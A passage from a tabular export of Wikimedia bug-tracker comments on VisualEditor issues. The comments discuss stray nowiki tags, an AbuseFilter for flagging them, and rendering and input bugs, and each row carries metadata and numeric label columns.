+Closely related problems, Kevin Norris: if they would *fix* 49686, this one would go away. This one can't really be fixed because the base condition that causes it should be prevented, not reported.",,,1375290243,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0
+244623,Tagging articles using old markup on VE,"**nykevin.norris** wrote:
+
+(In reply to comment #17)
+> Instead, James Forrester and Erik Moller have decreed that the bug not be
+> fixed, and that volunteers should eagerly flock to monitoring the output of
+> an
+> edit filter that detects each and every time this happens to that these
+> volunteers can fix it. That's repulsive. That's a level of disregard for the
+> volunteers that work on this project that is breathtaking. It's the *reason*
+> that the VE team can fix dozens of bugs each hour and the Wikipedia community
+> still complains that they are non-responsive.
+
+That is bug 49686, not this one.  Why are we discussing it here?",,,1375287296,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+244618,Tagging articles using old markup on VE,"**kwwilliams** wrote:
+
+(In reply to comment #15)
+> Chris, could you add a link to that comment. Im interested in why the nowiki
+> edit filter isnt sufficient.
+
+It isn't sufficient because it disappoints the first human involved, this hypothetical new editor that is so confused by all of our existing material that he's errantly typing wikitext into a source window. VE could *help* him, but instead it pops a warning. The warning obviously isn't working, because we see saves of this material happening constantly. He goes ahead and saves it anyway, and he's bewildered and confused: he did just what the little cheat sheet he got from a friend told him to do, and it didn't work.
+
+It's insufficient because it requires a second human being to then review the change, figure out what it was that the first human was actually attempting, and then correct it if he can. 
+
+It's insufficient because it's in support of a use-case that doesn't exist: there's no reason to put something like [[New York City|the Big Apple]] into articles. If there *were*, it's coming from an editor that is quite skilled enough to go into the source editor. If we need to support putting such things in using the visual editor, a workflow can be designed with a ""nowiki"" button to do it intentionally.
+
+Instead, James Forrester and Erik Moller have decreed that the bug not be fixed, and that volunteers should eagerly flock to monitoring the output of an edit filter that detects each and every time this happens to that these volunteers can fix it. That's repulsive. That's a level of disregard for the volunteers that work on this project that is breathtaking. It's the *reason* that the VE team can fix dozens of bugs each hour and the Wikipedia community still complains that they are non-responsive.",,,1375286688,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,1,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+244614,Tagging articles using old markup on VE,"(In reply to comment #15)
+> Chris, could you add a link to that comment. 
+It's the second comment by VQuakr at https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=566546550#WONTFIX_on_nowiki.27s (that's a permalink to the present version of the page but the discussion may not have concluded yet).",,,1375259183,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+244610,Tagging articles using old markup on VE,"Chris, could you add a link to that comment. Im interested in why the nowiki edit filter isnt sufficient.
+Preventing the VE nowiki edit is a bit rude, and is sticky tape of the problem with the VE causing these nowikis. In VE, the user cant _see_ the nowiki causing problem all the time. E.g. A space at the beginning of the line isnt obviously the cause of the nowiki. unless VE explicitly tells them where the nowiki is happening, how can we expect the newbie to figure it out.",,,1375257056,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+244606,Tagging articles using old markup on VE,"A user at en.wp comments that if this bug remains unfixed that cleaning up the live wiki using AWB will take ""about maybe an hour of experienced editor time to manage this, every day forever, because WMF is unwilling to accept feedback on how the software is actually used.""",,,1375214654,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0
+244603,Tagging articles using old markup on VE,"**kwwilliams** wrote:
+
+(In reply to comment #11)
+> (In reply to comment #10)
+> > (In reply to comment #7)
+> > > Adding a <nowiki> to an article (as opposed to a template or something) is
+> > > generally unnecessary and probably in need of a second look, regardless of
+> > > whether VE added it or the editor added it manually.  Wikimarkup simply
+> > > *doesn't look like* real punctuation, so it's uncommon to need to escape it
+> > > in
+> > > running text.
+> > > 
+> > > As such, I tentatively agree with James here: A VE-only filter would be
+> > > unnecessary since the broader case is really what we need to go after anyway.
+> > 
+> > You miss the point: in an edit-filter, I would advocate simply blocking the
+> > edit if it was VE and not allow it to be saved. If a human being consciously
+> > did it, there's at least a remote chance that it was a good edit worthy of
+> > examination.
+> 
+> I think that would be an exceptionally-bad thing to do to fellow editors and
+> thus to the wiki at large
+
+As was making VE the default editor in the first place, so it's obvious we don't agree some fundamental points.
+
+> 
+> > There *are* legitimate uses of nowiki, usually things involving bolded and
+> > italicized possessives, pipe characters inside of text. It's just that none
+> > of the ones created by VE have any merit.
+> 
+> None? None ever? Not even when a user of VisualEditor creates a bolded or
+> italicised possessive? :-)
+
+True enough. Which is why you should fix the root bug in the first place instead of pushing it downstream for everyone else to deal with: warning newbies about inserting explicit wikimarkup is obviously still inadequate, as this edit filter still fires.",,,1375209327,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,1,1,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,1,1
+244599,Tagging articles using old markup on VE,"(In reply to comment #6)
+> Tell me how an abuse filter can even detect that Visual Editor was involved
+> in the edit before you attempt to close this, please.
+
+That would be bug 51421 (which is a bug against AbuseFilter); you should follow-up there.",,,1375203199,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,1
+244594,Tagging articles using old markup on VE,"(In reply to comment #10)
+> (In reply to comment #7)
+> > Adding a <nowiki> to an article (as opposed to a template or something) is
+> > generally unnecessary and probably in need of a second look, regardless of
+> > whether VE added it or the editor added it manually.  Wikimarkup simply
+> > *doesn't look like* real punctuation, so it's uncommon to need to escape it
+> > in
+> > running text.
+> > 
+> > As such, I tentatively agree with James here: A VE-only filter would be
+> > unnecessary since the broader case is really what we need to go after anyway.
+> 
+> You miss the point: in an edit-filter, I would advocate simply blocking the
+> edit if it was VE and not allow it to be saved. If a human being consciously
+> did it, there's at least a remote chance that it was a good edit worthy of
+> examination.
+
+I think that would be an exceptionally-bad thing to do to fellow editors and thus to the wiki at large, but that's a decision for local wikis' communities to make, and not appropriate for the developers to rule on.
+
+> There *are* legitimate uses of nowiki, usually things involving bolded and
+> italicized possessives, pipe characters inside of text. It's just that none
+> of the ones created by VE have any merit.
+
+None? None ever? Not even when a user of VisualEditor creates a bolded or italicised possessive? :-)",,,1375203157,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,True,,,4,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+244590,Tagging articles using old markup on VE,"**kwwilliams** wrote:
+
+(In reply to comment #7)
+> Adding a <nowiki> to an article (as opposed to a template or something) is
+> generally unnecessary and probably in need of a second look, regardless of
+> whether VE added it or the editor added it manually.  Wikimarkup simply
+> *doesn't look like* real punctuation, so it's uncommon to need to escape it
+> in
+> running text.
+> 
+> As such, I tentatively agree with James here: A VE-only filter would be
+> unnecessary since the broader case is really what we need to go after anyway.
+
+You miss the point: in an edit-filter, I would advocate simply blocking the edit if it was VE and not allow it to be saved. If a human being consciously did it, there's at least a remote chance that it was a good edit worthy of examination.
+
+There *are* legitimate uses of nowiki, usually things involving bolded and italicized possessives, pipe characters inside of text. It's just that none of the ones created by VE have any merit.",,,1375202701,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,1,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,1
+244584,Tagging articles using old markup on VE,"**nykevin.norris** wrote:
+
+But code samples and template documentation won't be in mainspace, which the current filter checks for.  Legitimate uses of <nowiki> in mainspace are quite rare, so far as I know.  I suppose the articles on e.g. [[MediaWiki]] might use nowiki'd wikitext to show the readers what wikitext looks like, but other than that...",,,1375202572,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+244577,Tagging articles using old markup on VE,"Its possible the abusefilter could be made to detect veaction=edit, then the abuse filter could be made more discriminating, and probably block ve edits with nowiki's.
+
+There are many cases where nowiki's are ment from the wikitext. In code samples documentation of templates etc. they always explicitly typed indication an intention from the user.",,,1375202406,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,1
+244571,Tagging articles using old markup on VE,"**nykevin.norris** wrote:
+
+Adding a <nowiki> to an article (as opposed to a template or something) is generally unnecessary and probably in need of a second look, regardless of whether VE added it or the editor added it manually.  Wikimarkup simply *doesn't look like* real punctuation, so it's uncommon to need to escape it in running text.
+
+As such, I tentatively agree with James here: A VE-only filter would be unnecessary since the broader case is really what we need to go after anyway.",,,1375201973,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,0,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+244564,Tagging articles using old markup on VE,"**kwwilliams** wrote:
+
+Tell me how an abuse filter can even detect that Visual Editor was involved in the edit before you attempt to close this, please.",,,1375201659,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0
+244555,Tagging articles using old markup on VE,"As mentioned, there is now a local AbuseFilter running on enwiki that flags any edit that adds a <nowiki> tag (whether in VisualEditor or wikitext editor; whether accidental or deliberate; whether due to using wikitext markup or because of a bug).
+
+I think a global AbuseFilter might make sense to do this globally, but certainly this feels like something better done using AbuseFilter than heavy-handedly inserted by VisualEditor itself, if that makes sense, so I'm going to close this as a WONTFIX - but very happy to reopen if people feel it would be better in VE.",,,1375200134,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,True,,,4,,1,1,1,0,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+244546,Tagging articles using old markup on VE,"Maybe this is something that should be tested with global filters[1] now that they are available?
+
+[1] http://lists.wikimedia.org/pipermail/wikitech-l/2013-July/070253.html",,,1373826928,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,1,,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,1
+244537,Tagging articles using old markup on VE,"There is now an edit filter to detect insertion of nowiki's
+http://en.wikipedia.org/w/index.php?title=Special:AbuseLog&offset=&limit=500&wpSearchFilter=550",,,1373475389,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+244529,Tagging articles using old markup on VE,"FYI, in the meantime, I've requested an edit filter to be added to identify nowiki tags in the main namespace on the English Wikipedia:
+https://en.wikipedia.org/w/index.php?title=Wikipedia:Edit_filter/Requested&oldid=562811538#nowiki_in_main_namespace
+
+There's now also one on the French Wikipedia.",,,1372941268,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+244521,Tagging articles using old markup on VE,"**nykevin.norris** wrote:
+
+Here's an example of an edit which we'd like to be tagged in the future:
+
+https://en.wikipedia.org/w/index.php?title=Richard_Rich,_1st_Baron_Rich&diff=562587470&oldid=562435942
+
+In this case, the user didn't even realize they were using the VisualEditor and came to the help desk, confused:
+
+https://en.wikipedia.org/wiki/Wikipedia:Help_desk#Problems_editing_with_beta_versions.3F",,,1372870715,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+52524,Buttons not showing up,"http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#.22Submit.22_button_doesn.27t_show_up
+
+Epicgenius reports the buttons not showing up, I have his same config and was not able to reproduce the issue.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372714740,1374878756.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-i6cv3vliogwuderqbjnw,task_description,invalid,True,c1,3,False,False,True,0,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+244399,Buttons not showing up,"Given that it's been 25 days without further reports or information about the original issue, I'm marking this as INVALID.",,,1374878756,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-i6cv3vliogwuderqbjnw,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+244391,Buttons not showing up,Can they take a screenshot and attach to this bug? It'd be helpful to understand what it now showing up looks like.,,,1372714830,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-i6cv3vliogwuderqbjnw,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+52521,Ghost references in VisualEditor?,"Pamd reports:
+If I open [[Queen Anne Grammar School]] in VE, I can see two superscripts linking to references - and 29 references in the reflist. Some of them perhaps most, are the refs which were deleted in a [http://en.wikipedia.org/w/index.php?title=Queen_Anne_Grammar_School&diff=562382386&oldid=562381869 series of edits] 9 hours ago while the article was being moved from AFC to mainspace. If I open it in Edit Source, it's a respectable little stub with two refs and no sign of the other stuff.
+
+Full report at http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#VE_picking_up_old_version_of_file.3F_-_27_ghost_references.21 .
+
+It does the same for me (Vector on Chrome).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372712700,1385375005.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-y2smkmxkc74umzi22ziq,task_description,resolved,True,c1,3,False,False,False,0,,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,1,1
+244210,Ghost references in VisualEditor?,"Yes, same issue as bug 50380.
+
+*** This bug has been marked as a duplicate of bug 50380 ***",,,1385375005,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-y2smkmxkc74umzi22ziq,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+244204,Ghost references in VisualEditor?,"I cant reproduce this using the example given.
+
+It looks like this may be a dup of bug 50380.",,,1373758575,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-y2smkmxkc74umzi22ziq,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+52519,VisualEditor: Deleting all content removes input marker,"When marking all content on a page, and hit «delete», then, while the content is removed, also the input marker is removed, so you can't input anything new directly.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372711380,1374079583.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-devcsvnwd5brcea5luka,task_description,resolved,True,c1,3,False,False,True,0,,1,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+244066,VisualEditor: Deleting all content removes input marker,"(In reply to comment #1)
+> Is this the same as Bug 50947 and/or Bug 51169?
+
+Yes; merging.
+
+*** This bug has been marked as a duplicate of bug 50947 ***",,,1374079583,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-devcsvnwd5brcea5luka,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,1
+244061,VisualEditor: Deleting all content removes input marker,Is this the same as Bug 50947 and/or Bug 51169?,,,1374077413,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-devcsvnwd5brcea5luka,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0
+52507,Unexpected editing behavior for typing Malayalam text,"**Author:** `harshanh1979`
+
+**Description:**
+I have tested VisualEditor at ml.wikipedia at the following page
+
+https://ml.wikipedia.org/wiki/%E0%B4%AC%E0%B5%BC%E0%B4%A4%E0%B5%8D%E0%B4%A4%E0%B4%B2%E0%B5%8B%E0%B4%AE%E0%B4%BF%E0%B4%AF%E0%B5%8B_%E0%B4%A1%E0%B4%AF%E0%B4%B8%E0%B5%8D
+
+I tried to correct the text ൻറെ to ന്റെ. But the editor doesnt allow to input the characters ് െ etc. Unwanted changes happens somewhere else in the paragraph while trying to input the above mentioned characters.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**OS**: Linux
+**Platform**: PC
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50566",Needs Triage,90.0,1372699740,1374044484.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-p2n3tks426uods6v37cf,task_description,declined,True,c1,3,False,False,True,0,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+243373,Unexpected editing behavior for typing Malayalam text,I had this problem earlier with Ubuntu/Firefox 22. Now it is found that the problem was rectified.,,,1373996005,,PHID-USER-4jecvpv4h62htut6pxez,False,,,PHID-TASK-p2n3tks426uods6v37cf,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0
+52468,VisualEditor: thick line appearing,"Screenshot
+
+See screenshot, from https://en.wikipedia.org/wiki/Jitter_%28disambiguation%29?veaction=edit - that line near the top shouldn't be there.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11385}",Needs Triage,90.0,1372613820,1384204290.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-wf4a2uikjvfox37upsq3,task_description,declined,True,c1,2,False,False,False,-1,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+240951,VisualEditor: thick line appearing,"Created attachment 13766
+No thick line
+
+**Attached**: {F11386}",,,1384204317,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-wf4a2uikjvfox37upsq3,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+240942,VisualEditor: thick line appearing,"The thick line is not appearing now near the top of this page.Checked in both FireFox 20 and chrome Version 26.0.1410.65 using MAC OS X 10.8.5
+
+See the screenshots attached.
+
